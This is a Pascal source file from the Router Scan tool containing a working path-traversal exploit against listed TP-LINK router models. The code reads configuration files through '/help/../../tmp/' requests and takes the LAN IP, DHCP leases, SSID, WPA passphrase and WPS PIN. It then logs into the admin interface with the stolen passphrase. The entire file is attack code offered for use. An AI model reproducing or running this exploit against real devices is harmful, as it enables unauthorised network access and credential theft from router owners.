// Router Scan exploit
// Copyright (C) Stas'M Corp. 2015

// Project home page:
// http://stascorp.com/load/1-1-0-56

// References:
// http://www.securityfocus.com/archive/1/524548

function TRouter.Exploit_TPLINK_Traversal(UseAuth: Boolean; var AuthUser, AuthPass: String): Boolean;
var
  Code: Integer;
  LANIP: String;
begin
  // Affected:
  // TP-LINK TL-MR3220
  // TP-LINK TL-WA830RE
  // TP-LINK TL-WR740N
  // TP-LINK TL-WR741ND
  // TP-LINK TL-WR743ND
  // TP-LINK TL-WR841N
  // TP-LINK TL-WR941N
  // TP-LINK TL-WR1043ND
  Result := False;
  if ServerName <> 'Router Webserver' then
    Exit;
  if AuthOk and (AuthUser = 'admin') then
    Exit;
  if GetHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/help/../../tmp/topology.conf',
  S, Code, 8, 0, ServerName, UseAuth, AuthUser, AuthPass) then begin
    if Pos(#9'ipaddress ', S) > 0
    then begin
      LAN := DeleteBetween(S, #9'ipaddress ', #10);
      LANIP := LAN;
      SetTableCell(stcLANIP, LAN);
      LAN := DeleteBetween(S, #9'ipmask ', #10);
      SetTableCell(stcLANMask, LAN);
    end;
  end;
  if GetHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/help/../../tmp/wr841n/udhcpd.conf',
  S, Code, 8, 0, ServerName, UseAuth, AuthUser, AuthPass) then
    while(Pos('static_lease'#9, S) > 0) do begin
      Tmp := DeleteBetween(S, 'static_lease'#9, #10);
      S := StringReplace(S, 'static_lease'#9, 'static_lease_', []);
      if Pos(LANIP, Tmp) > 0 then begin
        BSSID := DeleteBetween(Tmp, '', ' ');
        SetTableCell(stcBSSID, BSSID);
      end;
    end;
  if GetHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/help/../../tmp/ath0.ap_bss',
  S, Code, 8, 0, ServerName, UseAuth, AuthUser, AuthPass) then
    if Pos('ssid="', S) > 0 then begin
      if DeleteBetween(S, 'ignore_broadcast_ssid=', #10) = '1' then
        SetTableCell(stcHidden, stcCheckX);
      SSID := DeleteBetween(S, 'ssid="', '"'#10);
      SetTableCell(stcSSID, SSID);
      Tmp := DeleteBetween(S, 'wpa_key_mgmt=', #10);
      if Tmp = 'WPA-PSK' then
        Sec := 'PSK';
      if Sec = 'PSK' then
      begin
        Tmp := DeleteBetween(S, 'wpa=', #10);
        if Tmp = '1' then
          Sec := 'WPA';
        if Tmp = '2' then
          Sec := 'WPA2';
        if Tmp = '3' then
          Sec := 'WPA/WPA2';
      end;
      if (Sec = 'WPA')
      or (Sec = 'WPA2')
      or (Sec = 'WPA/WPA2')
      then
        Pasw := DeleteBetween(S, 'wpa_passphrase="', '"'#10);
      SetTableCell(stcSec, Sec);
      SetTableCell(stcKey, Pasw);
      Pin := DeleteBetween(S, 'wps_default_pin=', #10);
      SetTableCell(stcPin, Pin);
    end;
  if Pasw <> '' then
    if GetHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port) + DetectionPage,
    S, Code, 2, 0, ServerName, True, 'admin', Pasw) then
      if Code = 200 then begin
        AuthUser := 'admin';
        AuthPass := Pasw;
        Result := True;
      end;
end;
